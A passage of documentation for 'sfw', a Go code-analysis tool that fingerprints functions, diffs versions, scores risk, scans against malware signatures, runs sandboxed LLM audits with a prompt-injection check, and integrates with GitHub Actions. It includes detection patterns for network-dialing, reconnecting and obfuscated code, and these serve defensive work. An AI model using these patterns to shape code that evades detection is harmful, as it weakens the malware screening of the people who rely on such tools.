replaceor ausedirectory outside these does not load. Use--no-sandboxfor such a tree.
export ANTHROPIC_API_KEY=...
sfw audit old.go new.go "minor refactor of logging"-
Runs
sfw diffon the two files. -
Collects every function with
risk_score >= 10: its name, status, score,topology_delta, at most 10added_ops, and its source on both sides (old_source,new_source: the declaration with line numbers, the first 120 lines of a longer one). The source comes fromgo/parserover the two files, outside the sandbox, which reads text and runs nothing. Eachunanalyzedentry withrisk_score >= 10is collected too, as itsfilestring, change, score andkind, with no source. -
If there are none, returns
MATCHwithout calling an LLM, so no key is needed. -
Otherwise it makes two LLM calls with the requested model:
- a prompt-injection sentinel over the payload, where an unsafe result gives
LIE; - the verdict call.
A reply that fails validation becomes
SUSPICIOUS. - a prompt-injection sentinel over the payload, where an unsafe result gives
-
With a Claude model the verdict call may read further through six read-only tools served from the two files and the diff:
function_source(a whole declaration; a closure name gives its enclosing declaration),function_diff(every added and removed operation and the topology match),file_context(lines around a line, radius at most 60),list_functions,callersandcallees(syntactic, within the file). Each round of tool results passes the sentinel before the model sees it, an unsafe result givesLIE, and results go back inside nonce fences as untrusted data. A tool result is cut at 16 KB; after 8 rounds without a verdict the audit isERROR. Other providers judge the payload alone.
| Model prefix | Provider | Key variable |
|---|---|---|
claude (default claude-opus-5-5) |
Anthropic Messages API via anthropic-sdk-go (structured JSON output) |
ANTHROPIC_API_KEY, or the SDK's credential chain (ANTHROPIC_AUTH_TOKEN, an ant auth login profile, workload identity federation) |
gemini |
Gemini API | GEMINI_API_KEY |
| anything else | OpenAI Responses API | OPENAI_API_KEY |
--api-key overrides the variable and prints a warning, because the key ends up in shell history. If high-risk changes exist but no credential is available, the verdict is ERROR, exit 1. Output with no high-risk changes:
{
"inputs": { "commit_message": "no-op" },
"risk_filter": { "high_risk_detected": false, "evidence_count": 0 },
"output": { "verdict": "MATCH", "evidence": "Automatic Pass: No structural escalation detected." }
}sfw index --name Demo --severity HIGH --db signatures.db new.go
sfw scan --db signatures.db ./src
sfw scan --deps --deps-depth transitive --db signatures.db ./cmd/appsfw index stores one signature per function, closures included. Each signature is named <name>_<function> and gets the ID SFW-<CAT>-<unix time>-<n>, where <CAT> is the first three letters of the category, upper-cased. The first entry from indexing new.go:
{
"id": "SFW-MAL-1791890855-1",
"name": "Demo_Handle",
"description": "Function Handle from new.go",
"severity": "HIGH",
"category": "malware",
"topology_hash": "5b54a1f738fa6b2719f95554f03621c9",
"fuzzy_hash": "B0L0BR0P1R0",
"entropy_score": 1.584962500721156,
"entropy_tolerance": 0.5,
"node_count": 1,
"loop_depth": 0,
"identifying_features": {
"required_calls": ["go:closure:func()", "net.Dial"],
"string_patterns": ["tcp"],
"control_flow": {}
},
"metadata": { "author": "sfw-index", "created": "2026-10-13" }
}How each field is derived (detection.IndexFunction):
| Field | Source |
|---|---|
topology_hash |
GenerateTopologyHash, the first 16 bytes of SHA-256 (32 hex chars) over P<params>R<results>B<blocks>I<instrs>L<loops>BR<branches>, then each CallSignatures entry as <len>:<name>:<count>, sorted and joined by ;, then D/G/S/P for defer/go/select/panic. Because instruction count and callee names are hashed, a one-instruction change or a renamed callee changes the hash. The function's own name and variable names are not hashed. |
fuzzy_hash |
GenerateFuzzyHash, see Fuzzy hash |
node_count |
BlockCount |
loop_depth |
LoopCount (the number of loops, not nesting depth) |
required_calls |
every CallSignatures key, sorted |
string_patterns |
every string literal of 3 or more characters |
control_flow.has_infinite_loop |
HasInfiniteLoop: a for statement without a condition (for { ... }) in the function's own body |
control_flow.has_reconnect_logic |
some call contains net.Dial, some call contains time.Sleep, and LoopCount > 0 |
optional_calls and control_flow are stored but not read by matching.
For each function in the target, the PebbleDB backend (PebbleScanner.ScanTopology) does the following:
- Collects candidates from two prefix scans, de-duplicated by ID:
topo:<TopologyHash>:, the exact topology bucket;fuzzy:<FuzzyHash>:, the fuzzy bucket. Only the exact bucket is searched; neighbouring buckets are not.
- Rejects a candidate whose entropy distance exceeds its tolerance, using the entropy packed into the index value, before loading the signature.
- Loads the
sig:record from the same snapshot and scores it withdetection.MatchSignature. - Keeps the matches with confidence ≥ threshold (default 0.75), sorted by confidence.
--exact (ScanTopologyExact) uses only the topo: bucket and returns the single best match. On the JSON backend, ScanTopology scores every signature without index or entropy pre-filtering. With a JSON database, --exact sets the threshold to 1.0.
MatchSignature confidence is the plain mean of these parts:
| Part | Value | Included |
|---|---|---|
| topology | 1.0 if the topology hashes are equal. Otherwise the mean of the block-count ratio and the loop-count ratio (each min/max), or 0.5 if the signature has neither. | always |
| entropy | 1 − distance / tolerance within tolerance, else 0.5 | always |
| calls | matched / required, where a required call matches if any call signature contains it as a substring | signature has required_calls |
| strings | matched / total, case-insensitive substring | signature has string_patterns and the part is > 0 |
Two adjustments follow:
- Veto: a missing required call sets confidence to 0, but only if the function's indirect-call ratio is below 0.5 and its obfuscation class is NONE or LOW.
- Obfuscation floor: after averaging, a confidence of at least 0.4 is raised to at least 0.5 × the obfuscation score.
Scanning new.go against the database built from it gives 3 alerts at confidence 1, and exit code 0. The first alert:
{
"signature_id": "SFW-MAL-1791890855-1",
"signature_name": "Demo_Handle",
"severity": "HIGH",
"matched_function": "Handle",
"confidence": 1,
"match_details": {
"topology_match": true,
"entropy_match": true,
"calls_matched": ["go:closure:func()", "net.Dial"],
"calls_missing": null,
"strings_matched": ["tcp"],
"topology_similarity": 1,
"entropy_distance": 0,
"obfuscation_class": "NONE"
}
}The scan output's top-level fields are:
target,database,backend,threshold,total_functions_scannedalertssummary(critical,high,medium,low,total_alerts)dependencies_scannedandscanned_dependencies, only with--deps.
--deps scans third-party packages in addition to the target. Standard-library packages are excluded.
--deps-depth |
Packages scanned |
|---|---|
direct |
packages imported by any package of the target's own module |
transitive |
also everything those packages import |
Packages are loaded with GOPROXY=off and -mod=readonly, so modules must already be in the module cache (go mod download), unless the tree has a vendor directory the go command would build from (see Files), which is loaded with -mod=vendor. dependencies_scanned counts dependency functions, which are also included in total_functions_scanned.
A --db path ending in .json selects the JSON backend for check --scan, index, scan and stats. Any other path selects PebbleDB.
check --scan, index, scan and stats use the first of:
--db$SFW_DB_PATH, used without checking that it exists./signatures.db,~/.sfw/signatures.db,/usr/local/share/sfw/signatures.db,/var/lib/sfw/signatures.db, the first that exists./signatures.db
check, scan and stats do not create a database; index and migrate do.
github.com/cockroachdb/pebble (an LSM-tree key-value store), one directory, flat key space:
| Key | Value |
|---|---|
sig:<ID> |
gob-encoded detection.Signature. A value starting with { is decoded as legacy JSON. |
topo:<TopologyHash>:<ID> |
0x01, entropy (float64 LE), tolerance (float64 LE), then the ID; 17 + len(ID) bytes |
fuzzy:<FuzzyHash>:<ID> |
same packed value; written only when the fuzzy hash is non-empty |
entr:<entropy>:<ID> |
ID |
meta:schema_version |
"4" |
entr:005.8200:SFW-MAL-001
├──────┤ ├─────────┤
%08.4f signature ID
The fixed-width %08.4f entropy sorts lexicographically in numeric order. The entr: index is read only by ScanByEntropyRange; the scan path does not use it.
Lookups are prefix seeks, cost O(log N + k) in the LSM tree. NewPebbleScanner refuses a database whose meta:schema_version is not 4 (CurrentSchemaVersion).
Write guarantees:
AddSignature,AddSignaturesandDeleteSignatureeach commit a single batch withpebble.Sync.RebuildIndexesandMigrateFromJSONcommit in several batches, so they can stop partway.
Concurrency:
- Scans read from a snapshot.
- Pebble locks the directory, so a second process cannot open the database, even with
ReadOnly: true.
Every database write goes through pkg/storage/pathguard: PebbleDB writable opens, JSON backend saves and ExportToJSON. It refuses a path inside a system directory, checking both the path as written and the path after resolving symlinks in its longest existing prefix. A file that does not exist yet therefore cannot reach a system directory through a symlinked parent. The protected directories are:
- Unix-like systems:
/etc,/usr(except/usr/local),/bin,/sbin,/boot,/lib,/lib32,/lib64,/proc,/sysand/dev. - macOS: the same list plus
/private/etcand/System. - Windows:
%SystemRoot%.
Read-only opens are not checked.
sfw stats --db signatures.db{
"database": "signatures.db",
"backend": "pebbledb",
"signature_count": 3,
"topology_index_count": 3,
"entropy_index_count": 3,
"file_size_bytes": 4187,
"file_size_human": "4.1 KB"
}stats counts every key under each index prefix, so its cost is linear in the number of signatures.
sfw migrate --from signatures.json --to signatures.db streams the JSON file's signatures array into PebbleDB in batches of 1000. PebbleScanner.ExportToJSON writes the JSON backend's own format (version, description, signatures), so its output can be opened with --db <file>.json or imported with migrate.
scanner, err := pebbledb.NewPebbleScanner("signatures.db", pebbledb.DefaultPebbleScannerOptions())DefaultPebbleScannerOptions() returns MatchThreshold: 0.75, EntropyTolerance: 0.5, ReadOnly: false and CacheSize: 8 << 20. A zero field is replaced by its default.
| Method | Behavior |
|---|---|
AddSignature(*detection.Signature) |
Requires TopologyHash. An empty ID becomes SFW-AUTO-<16 hex>. |
AddSignatures([]*detection.Signature) |
One batch; for duplicate IDs, the last one wins. |
GetSignature(id) |
Looks up one signature by ID. |
GetSignatureByTopology(hash) |
Returns the first signature with that hash. |
ListSignatureIDs(), CountSignatures() |
Scan the whole sig: prefix. |
DeleteSignature(id) |
Removes the signature and its index entries in one batch. |
MarkFalsePositive(id, note) |
Appends FP:<RFC3339 time>:<note> to Metadata.References. Matching does not read it. |
RebuildIndexes() |
Rebuilds the topo:, fuzzy: and entr: entries from sig: records. It does not recompute hashes. |
Compact() |
Full-range compaction. Fails on a read-only database. |
ScanTopology(topo, name) |
Runs both prefix scans and returns []detection.ScanResult. |
ScanTopologyExact(topo, name) |
Searches the topo: bucket only and returns *detection.ScanResult. |
┌────────────────────────────────────────────────────────────────┐
│ golang.org/x/tools/go/packages.Load, then go/ssa build │
│ loader env: CGO_ENABLED=0 GOPROXY=off GOTOOLCHAIN=local │
│ GOFLAGS=-mod=readonly (-mod=vendor if vendored) │
│ GONOSUMDB=* │
│ GOWORK=<the governing go.work, or off> │
└────────────────────────────────┬───────────────────────────────┘
│ *ssa.Function
┌────────────────────────────────┴───────────────────────────────┐
│ branch normalization (virtual, pkg/diff) │
│ a >= b -> a < b successors swapped │
│ a > b -> a <= b successors swapped │
│ integer and string operands only; If must be the sole user │
└────────────────────────────────┬───────────────────────────────┘
│ *ssa.Function + virtual branch table
┌────────────────────────────────┴───────────────────────────────┐
│ canonicalizer (pkg/analysis/ir) │
│ 1. name parameters p0..pN, free variables fv0..fvN │
│ 2. loop.DetectLoops: back-edge b->h where h dominates b │
│ 3. loop.AnalyzeSCEV: Tarjan SCC over each loop body │
│ 4. hoist loop-invariant builtin calls to the preheader │
│ 5. rewrite basic IVs as {start, +, step}<bH:type> │
│ 6. preorder DFS over blocks; emit IR, v0..vN on first use │
└────────────────────────────────┬───────────────────────────────┘
│ canonical IR (text)
┌────────────────────────────────┴───────────────────────────────┐
│ SHA-256 of the canonical IR text -> 64-hex fingerprint │
└────────────────────────────────────────────────────────────────┘
sfw diff, single and batch, loads source with pkg/diff/loader.go. It asks go/packages for metadata only (go list, with the environment above) and type-checks the packages itself:
- a batch's files are listed with one
go listrun over their directories.go/packagesruns one per file; it builds the same packages for each file, and picks the same ones for a file outside any listed package; - the packages being diffed are parsed with comments and fully type-checked, with the same
types.Configasgo/packages; - their dependencies are parsed with function bodies removed (
PurgeFuncBodies, copied from x/tools' gopls and fixed to keep the elements of a[...]T{...}literal whose element type spans several lines, as their count is part of the type), without comments or object resolution, and type-checked without bodies; - a dependency's imports that no declaration names, which only its function bodies use, are not loaded at all. A dependency is parsed as soon as a load needs it, and its parse decides which of its imports are needed. This skips about 45% of the dependency packages; gin's diffs get about 19% faster;
- the diffed packages' files are parsed as soon as
go listreturns, while type-checking waits for each package's imports; - standard-library packages, and module-cache packages not replaced by a local directory, are type-checked once per process and shared by both trees and all batch groups. The cache key covers the package path and name, type sizes, Go version, file paths and the keys of its imports;
- only the diffed files' functions are fingerprinted.
Those shared dependencies can also be kept between runs, in a cache that sfw alone writes. An entry's key covers:
- the running
sfwexecutable's contents; - the package path and name, type sizes, Go version and
GODEBUG; - the SHA-256 of every source file;
- the keys of its imports.
A hit therefore means the same source bytes checked by the same program. Even under the same module version, an edited file misses.
- Which packages are stored: only those without errors and without an ill-typed import. An entry also records which imports its package's declarations need, so a warm run skips the others without parsing.
- Damaged entries: an entry failing its checksum, or decoding to anything but its own package against the packages it imports, is recomputed.
- Location:
sfw/typesin the user cache directory, private to the user. Entries unused for a week are removed. - Speed: a warm cache makes the pocketbase diff above about 30% faster.
SFW_TYPE_CACHE decides when the cache is used:
| Value | Cache |
|---|---|
on |
on |
off |
off |
rw:DIR |
reads and writes DIR |
ro:DIR |
only reads DIR |
| unset | on only when stderr is a terminal and CI is unset |
The cache is off by default in automation for a reason: a pull request's code may have run earlier under the same account. In CI, a batch already checks each dependency once, so there is little to gain.
A worker in the gVisor sandbox sees the cache read-only. Entries come from runs outside a sandbox: --no-sandbox, or a host without runsc. Code running in the sandbox can leave nothing behind for a later analysis to trust.
The only output differences from go/packages concern errors in a dependency's function bodies and composite literals ({...} values other than [...]T arrays), which are removed before parsing. A type error inside one is not reported, nor is an error in a package that only they import. Conversely, len or cap of a sized array literal in a dependency's declarations is constant once the literal's elements are gone, so an element that makes it non-constant (a call, as in 1 << len([8]int{f()})) can turn it into a constant overflow or bounds error that fails the load. pkg/diff tests compare the two loaders' functions, fingerprints and full topologies on fixtures for modules, tests, overlays, type errors, cgo, build tags, replacements, vendoring, cross-package generics and Go versions, and, with SFW_PARITY_CORPUS set, on a corpus of cloned projects. SFW_LOADER=packages selects go/packages. A module with an import cycle falls back to it. sfw check, scan and deps diff use go/packages.
A function with more than 5000 blocks (MaxFunctionBlocks) is not canonicalized. Its fingerprint is a SHA-256 over the raw SSA, which is sensitive to renames.
These two functions produce byte-identical canonical IR, so they share the fingerprint ab2661f278a489833655492de6dd79dafbf333cac95a215baddc7af6c127e22c:
func Sum(xs []int) int { func Sum(xs []int) int {
s := 0 s := 0
for i := 0; i < len(xs); i++ { for _, x := range xs {
s += xs[i] * 4 s += x * 4
} }
return s return s
} }
func(p0: []int) -> (int)
b0:
v0 = Call <builtin:len>(p0)
Jump b1
b1:
; LoopHeader
v2 = Phi [b0: const(0)] [b2: v1]
v3 = BinOp <, {0, +, 1}<b1:int>, v0
If v3, b2, b3
b2:
v4 = IndexAddr p0, {0, +, 1}<b1:int>
v5 = UnOp *, v4
v6 = BinOp *, const(4), v5
v1 = BinOp +, v2, v6
Jump b1
b3:
Return v2
- Hoisting:
len(xs)was moved from the loop header tob0. - Loop counter: in both forms it is replaced by the recurrence
{0, +, 1}<b1:int>, which reads "starts at 0, steps by +1, in the loop headed byb1, typeint". - Range loop: SSA starts its counter at -1 and increments before use. The incremented value folds to the same recurrence.
- Fingerprint: it is the SHA-256 of this text, including the trailing newline.
diff.FingerprintResult.CanonicalIRholds the text.
- Loops:
DetectLoopsfinds back-edges b→h where h dominates b. Back-edges that share a header are merged into one loop. Results are memoized in a per-loopSCEVCache, and recursion depth is capped at 100 (MaxSCEVDepth). - Induction variables (IVs):
- Tarjan's SCC algorithm runs over the def-use graph of the loop body.
- A header φ in a cycle φ → BinOp → φ with a loop-invariant step is an IV.
- Add/sub gives a basic IV,
{start, +, step}; mul gives a geometric IV. - IVs must be integers. Only basic IVs are rewritten in the IR; a geometric IV stays a plain φ.
- With several preheader edges, all start values must agree.
- Recurrence algebra:
{S,+,T} + C→{S+C,+,T}C × {S,+,T}→{C·S,+,C·T}{S₁,+,T₁} + {S₂,+,T₂}→{S₁+S₂,+,T₁+T₂}- subtraction likewise.
- C must be loop-invariant; the product of two recurrences is left opaque.
- Expressions derived from an IV render as recurrences, e.g.
i*4→{0, +, 4}<b1:int>.
- Trip count:
max(0, ⌈(limit − start) / step⌉), computed as(limit − start + step − 1) / step.- Requirements: a single exiting block, a comparison on the IV φ itself, and a loop-invariant limit.
- Handled forms: up-counting and down-counting, inclusive bounds (
<=,>=),!=with step ±1, and the IV on either side of the comparison. A down-counting loop uses the absolute step. An up-counting loop with step ≤ 0 is Unknown.
- Names:
- parameters are
p0..pNand free variablesfv0..fvN; - values are
v0..vN, numbered by first reference during emission, so an operand can be named before the line that defines it; - blocks are
b0..bNin preorder DFS, true successor first. Unreachable blocks are appended in index order.
- parameters are
- Commutative operands are sorted.
- Hoisting: only
len,cap,complex,real,imag,minandmax. Their arguments must be loop-invariant,len/capmust not be on a map or channel, and the loop must have a single preheader. The hoist is virtual: the SSA is not mutated. - Callees are written with their import path, method receiver and signature:
<func_ref:net.Dial:func(string, string) (net.Conn, error)>. Types in the function's own package are unqualified, e.g.<func_ref:(T).M:func()>. - Literals pass through
ir.LiteralPolicy.DefaultLiteralPolicymasks every string (as<string_literal>), every integer outside [-16, 16] and every float. It keeps small integers and booleans.KeepAllLiteralsPolicykeeps everything.- Loop start values, steps and trip counts bypass the policy, so
i < 100andi < 200fingerprint differently under both policies.
- Escaping: a kept string is emitted as an escaped
const("...")("x\ny"stays on one line), and struct tags are quoted, so literal content cannot inject IR lines. - Fields are named, not indexed:
FieldAddr p0, field(IsAdmin). Reordering or inserting a struct's fields does not change a function that reads them, but reading a different field does. - Type parameters are written by position:
$0,$1, ... The receiver's and the function's type parameters are numbered together; in a closure, the enclosing function's come first. This covers value types and the receivers and type arguments of callees, e.g.<func_ref:(*List[$0]).Push:func($0)>. Renaming a type parameter keeps the fingerprint; reordering type parameters changes it. - Generic instances are written with aliases resolved (
anyasinterface{}),byteasuint8andruneasint32:<func_ref:slices.Contains[[]uint8, uint8]:func([]uint8, uint8) (bool)>. SSA builds one instance for every call site with identical type arguments and spells it as the first caller it builds for, so the spelling would otherwise depend on the other code loaded with the function. The function's own types keep their spelling.
pkg/diff/zipper.go aligns the SSA of two versions of one function and reports the unaligned instructions as added_ops and removed_ops.
- Setup:
- run SCEV on both functions and build a canonicalizer for each;
- map parameters, and separately free variables, that share a name and type. Then map the rest in order wherever the types agree;
- a parameter left without a partner leaves its uses unmapped, so a changed signature still reports the body's changes.
- Entry seed: take a longest common subsequence over at most 100 instructions of the two entry blocks.
- Propagation: breadth-first over def-use edges. For each mapped pair (old, new), each user of old is compared with the users of new in the same bucket, and the first equivalent one is mapped.
- The bucket key is the instruction's Go type plus a kind-specific suffix, e.g.
*ssa.BinOp:+. - Buckets are capped at 100 candidates (
MaxCandidates); extra candidates are dropped.
- The bucket key is the instruction's Go type plus a kind-specific suffix, e.g.
- Terminators: the last instruction of every block is matched by operand equivalence.
- Control flow: blocks are paired one-to-one. The entry blocks are paired first. The others are paired greedily by the number of mapped instructions they share, with ties broken by block index. A mapped pair is reported in both lists, and excluded from
matched_nodes, if either:- its two instructions sit in blocks that are not paired with each other; or
- it is an
IforJumpwhere an old successor is paired with a block other than the new successor in the same position.
- Result: unmapped instructions are
addedorremoved. Instructions replaced by an IV rewrite are omitted.
Two instructions are equivalent when all of the following hold:
- Same instruction type: they have the same
reflecttype. - Same value type: the types are identical by
types.Identical. If that check fails, the comparison falls back to type strings, with each side's own package unqualified and type parameters written by position. - Same operator properties: e.g. the
BinOpoperator, the field name,Alloc.Heap. - Equivalent operands: each operand pair is already mapped or has an equal canonical string. φ edges only need matching types. The check is not recursive. Commutative operand swaps are allowed for
+,*,&,|and^on numeric types, and for==and!=on any type.
topology.ExtractTopology(fn) returns a *FunctionTopology. Its fields:
| Field | Content |
|---|---|
ParamCount, ReturnCount |
signature arity; the receiver counts as a parameter |
ParamTypes, ReturnTypes |
type strings |
BlockCount, InstrCount, PhiCount |
SSA counts |
LoopCount |
max(SSA natural loops, AST for/range statements) |
BranchCount |
SSA If instructions, loop conditions included |
CyclomaticComplexity |
cyclomatic complexity |
CallSignatures |
call profile by package name (table below) |
CallTargets |
concrete callees by import path |
Capabilities |
call target → capability class |
Checks |
verification calls and check helpers (see Deletion signals) |
CapabilityGuards |
capability call target → fewest conditional branches any of its call sites depends on |
WeakSettings, SecureSettings |
security settings the function writes (see Deletion signals) |
ErrorExits |
two-way branches with exactly one side ending the function with a failure |
BinOpCounts, UnOpCounts, InstrCounts |
operator and instruction-type histograms |
HasDefer, HasPanic, HasGo, HasSelect |
control-flow flags |
HasRange |
true only for range over a map or string |
HasInfiniteLoop |
a for statement without a condition in the function's own body (closures excluded) |
HasRecover |
true only when the function itself defers and calls recover directly |
StringLiterals |
see Entropy |
EntropyScore, EntropyProfile |
see Entropy |
Obfuscation |
see Obfuscation profile |
FuzzyHash |
see Fuzzy hash |
| Call | CallSignatures key |
Example |
|---|---|---|
| Static function | <package name>.<func> |
net.Dial, exec.Command |
| Concrete method | <package name>.<method> (receiver dropped) |
bytes.WriteString, http.Do |
| Generic instance | <import path>.<func>[<type args>], (<receiver>).<method>; aliases resolved (any as interface{}), byte as uint8, rune as int32 |
slices.Contains[[]uint8, uint8], (*sync/atomic.Pointer[int]).Load |
| Interface method | invoke:<pkg>.<Iface>.<method> |
invoke:net.Conn.Write |
| Builtin | builtin:<name> |
builtin:len |
| Closure or method value | closure:<signature> |
closure:func(a int) int |
| Function value | dynamic:<signature> |
dynamic:func(int) error |
go statement |
go:<target> |
go:closure:func() |
defer statement |
defer:<target> |
defer:invoke:net.Conn.Close |
| Reflective call | reflect.Call, reflect.MethodByName |
Because the key uses the package name, crypto/rand.Read and math/rand.Read share the key rand.Read. CallTargets keeps import paths (crypto/rand.Read, (net/http.Client).Do), and capabilities are classified from CallTargets.
B<⌊log2 blocks⌋>L<min(loops, 5)>BR<0 if no branches, else ⌊log2 branches⌋ + 1>P<params>R<results>
B is 0 for a function without blocks. Example: 8 blocks, 1 loop, 3 branches, 1 parameter and 1 result give B3L1BR2P1R1. B3 covers 8–15 blocks; BR3 covers 4–7 branches.
topology.TopologySimilarity(a, b) = Σ wᵢ·sᵢ / Σ wᵢ, with Σ wᵢ = 15.5:
| Feature | Weight | Per-feature score sᵢ |
|---|---|---|
Call profile (CallSignatures) |
4 | multiset Jaccard: Σ min / Σ max |
| Parameter types | 3 | positional Dice; both empty = 1, one empty = 0 |
| Return types | 2 | same as parameter types |
| Loop count | 2 | 1 if equal, 0.5 if they differ by 1, else 0 |
| Branch count | 1.5 | 1 − |Δ| / max |
| Binary-operator profile | 1 | multiset Jaccard |
| Flags: defer, panic, go, select, range | 1 | fraction equal |
| Instruction-type profile | 0.5 | multiset Jaccard |
| Block count | 0.5 | 1 − |Δ| / (2·max) |
The scanner does not use this function. It uses detection.ComputeTopologySimilarity, described under scan.
How EntropyScore is computed:
- Collect every string constant operand of the function's own SSA instructions. Each use counts, so duplicates count twice.
- Cut each literal to 4096 bytes, then to its longest valid UTF-8 prefix. Skip any literal that would push the function's total past 64 KiB.
- Sort the literals, concatenate them, and compute the Shannon entropy H = −Σ p(b) log₂ p(b) over byte values.
A function with no string literals scores 0. Literals in a closure belong to the closure.
| Class | Range (bits/byte) |
|---|---|
| LOW | H < 4.0 |
| NORMAL | 4.0 ≤ H < 6.5 |
| HIGH | 6.5 ≤ H < 7.5 |
| PACKED | H ≥ 7.5 |
Since H ≤ log₂(number of distinct byte values):
- Base64 text (64 symbols) is at most 6.0, so it is never HIGH.
- Printable ASCII (95 symbols) is at most 6.57.
- PACKED needs at least 182 distinct byte values, since 2^7.5 ≈ 181.02. Because invalid UTF-8 is truncated, that requires non-ASCII UTF-8 text.
Binary payloads in []byte composite literals are not string constants; the obfuscation profile measures them instead. The entropy class is used only by risk scoring, not by the scanner.
FunctionTopology.Obfuscation combines six signals into a score in [0, 1].
| Signal | Kind | Normalization | Weight | Applies when |
|---|---|---|---|---|
| Max entropy over 256-byte windows (stride 128) of the constant pool: string bytes and integer constants | dispositive | normCut(H, 5, 8) | 0.30 | pool non-empty |
| Entropy of the non-string constants | dispositive | normCut(H, 4, 8) | 0.20 | numeric pool non-empty |
| Longest run of integer constants in 0..255, ignoring index and slice-bound operands | dispositive | normCut(n, 16, 256) | 0.15 | run > 0 |
Indirect-call ratio (dynamic:, invoke:, reflect calls) |
corroborating | raw | 0.15 | function makes calls |
| Control-flow flattening: concentration of a block's fan-in (needs a block with ≥ 4 predecessors) | corroborating | clamp((maxPred/blocks − 0.25) / 0.5) | 0.10 | ≥ 6 blocks |
| In-loop byte-decoder shape | corroborating | clamp(ops / 4) | 0.10 | ≥ 1 natural loop |
The score is computed in five steps. A signal fires when its normalized value is ≥ 0.5.
- Take the weighted mean over the applicable signals.
- Raise it to the strongest dispositive value, if that is higher.
- If a window's entropy is ≥ 7.2, raise it to at least 0.75.
- If no dispositive signal fired and fewer than two corroborating signals fired, cap it at 0.49.
- Clamp it to [0, 1].
| Class | Score |
|---|---|
| NONE | < 0.25 |
| LOW | 0.25 – < 0.50 |
| MODERATE | 0.50 – < 0.75 |
| HIGH | ≥ 0.75 |
Step 4 keeps a single corroborating signal, such as a higher-order function that only calls function values, below MODERATE. Two corroborating signals are necessary but not sufficient to reach MODERATE.
check, diff (single and batch), deps diff, scan and audit re-run sfw itself (internal-worker) under gVisor runsc, which then performs the analysis. index, stats, migrate and library calls are never sandboxed. --no-sandbox, or the SFW_SANDBOX_ID environment variable, skips it.
The invocation (internal/sandbox/manager.go) is:
runsc --rootless --ignore-cgroups --network=none --platform=<kvm|ptrace> run --bundle <dir> <id>
kvm is used when /dev/kvm exists, otherwise ptrace.
The OCI spec sets:
| Setting | Value |
|---|---|
| Root filesystem | read-only |
| Process capabilities | empty bounding and effective sets |
NoNewPrivileges |
set |
RLIMIT_NOFILE |
1024 |
| Namespaces | pid, network, ipc, uts, mount, user |
| Resources | memory 512 MiB, CPU shares 1024, pids 64 |
| Environment | GOPROXY=off, GOPATH=/tmp/gopath, HOME=/tmp, GOCACHE=/tmp/gocache, GOMODCACHE=/gomodcache |
| Read-only mounts | the sfw binary, system library directories, GOROOT, the host module cache at /gomodcache, the working directory, the inputs, each input's go.mod/.git root and the module root the go command uses (the nearest go.mod, past a .git), and the governing go.work's directory. A batch mounts each input's root once, and an input itself only when it has no root or is a link out of it; a missing input is an absent side and is not mounted |
| Writable mounts | /tmp and /dev (tmpfs) |
Limitations:
- Resource limits are not enforced.
runscruns with--ignore-cgroups, so the limits in the spec are not applied as cgroups. - No seccomp profile. The spec sets none.
- Fail-open. If
runscis not onPATH,sfwprints::warning::[Security] 'runsc' not found. Falling back to direct execution.and runs unsandboxed.
on: [pull_request]
permissions:
contents: read
jobs:
sfw:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4.4.0
with:
fetch-depth: 0 # diff and audit read HEAD~1
- id: sfw
uses: BlackVectorOps/semantic_firewall@v7.2.0
with:
mode: audit
api-key: ${{ secrets.ANTHROPIC_API_KEY }}A tag can be moved to another commit; a commit cannot. To run exactly the release you reviewed, pin the Action by the commit its tag names, and keep the version in a comment (uses: BlackVectorOps/semantic_firewall@<commit> # v7.2.0). This prints the commit; for an annotated tag it is the line ending in ^{}:
git ls-remote https://github.com/BlackVectorOps/semantic_firewall 'refs/tags/v7.2.0*'The Action pins actions/setup-go by commit itself.
The Action does the following before running sfw:
- installs
sfwv7.2.0 withgo install, or uses ansfwalready onPATH; - installs
runscrelease20260126.0and checks its SHA-512; - relaxes the AppArmor user-namespace restriction for it.
diff and audit analyze every .go file changed between a base and HEAD, and ignore path. The base is origin/<base branch> for a pull request, the before commit for a push, and HEAD~1 otherwise. diff mode passes all changed files (except _test.go, _generated.go and vendor/ files) to one sfw diff --batch run, and fails the job if any file could not be diffed.
deps mode runs sfw deps diff on the base and HEAD versions of the module at path, which must contain go.mod in both. It runs only when a go.mod, go.sum, go.work or go.work.sum changed; otherwise result is {}. It first runs go mod download in both trees, each with the workspace that governs it. This fetches and verifies module zips against go.sum and runs no code. With fail-on-alert, the job fails when high_risk_changes is above 0.
| Input | Default | Purpose |
|---|---|---|
path |
. |
target for check and scan; the module root for deps |
mode |
check |
check, diff, deps, scan or audit |
go-version |
1.27 |
passed to actions/setup-go |
signatures |
— | database path, required for scan; .json selects the JSON backend |
threshold |
0.75 |
scan threshold |
strict |
false |
check --strict |
fail-on-alert |
true |
fail a scan with total_alerts > 0, or deps with high_risk_changes > 0 |
scan-deps |
false |
scan --deps |
deps-depth |
direct |
scan --deps-depth |
api-key |
— | exported to the provider's variable according to model |
model |
claude-opus-5-5 |
audit --model |
api-base |
— | audit --api-base |
The outputs are:
resultalert-countdeps-scannedsemantic-match-pct, the mean over changed filesaudit-verdict,PASSorFAILhigh-risk-changes, fromdepsmode
Packages live under pkg/; pkg/api is the entry point the CLI itself calls. Each example below is a complete main package.
package main
import (
"fmt"
"log"
"github.com/BlackVectorOps/semantic_firewall/v7/pkg/api"
)
func main() {
out, err := api.Diff("old.go", "new.go")
if err != nil {
log.Fatal(err)
}
for _, f := range out.Functions {
fmt.Printf("%-20s %-9s risk=%d %s\n", f.Function, f.Status, f.RiskScore, f.TopologyDelta)
}
}diff.FingerprintSource(filename, src, policy) loads the package that contains filename, using src as an overlay for that file. A relative filename is resolved against the working directory. The overlay is type-checked together with every other .go file in its directory, and all of their functions are returned. To fingerprint a standalone snippet, give it a directory of its own:
package main
import (
"fmt"
"log"
"os"
"path/filepath"
"github.com/BlackVectorOps/semantic_firewall/v7/pkg/analysis/ir"
"github.com/BlackVectorOps/semantic_firewall/v7/pkg/diff"
)
func main() {
dir, err := os.MkdirTemp("", "sfw")
if err != nil {
log.Fatal(err)
}
defer os.RemoveAll(dir)
src := "package p\n\nfunc Add(a, b int) int { return a + b }\n"
results, err := diff.FingerprintSource(filepath.Join(dir, "example.go"), src, ir.DefaultLiteralPolicy)
if err != nil {
log.Fatal(err)
}
for _, r := range results {
fmt.Printf("%s %s\n%s", r.FunctionName, r.Fingerprint, r.CanonicalIR)
}
}package main
import (
"fmt"
"log"
"os"
"github.com/BlackVectorOps/semantic_firewall/v7/pkg/analysis/ir"
"github.com/BlackVectorOps/semantic_firewall/v7/pkg/analysis/topology"
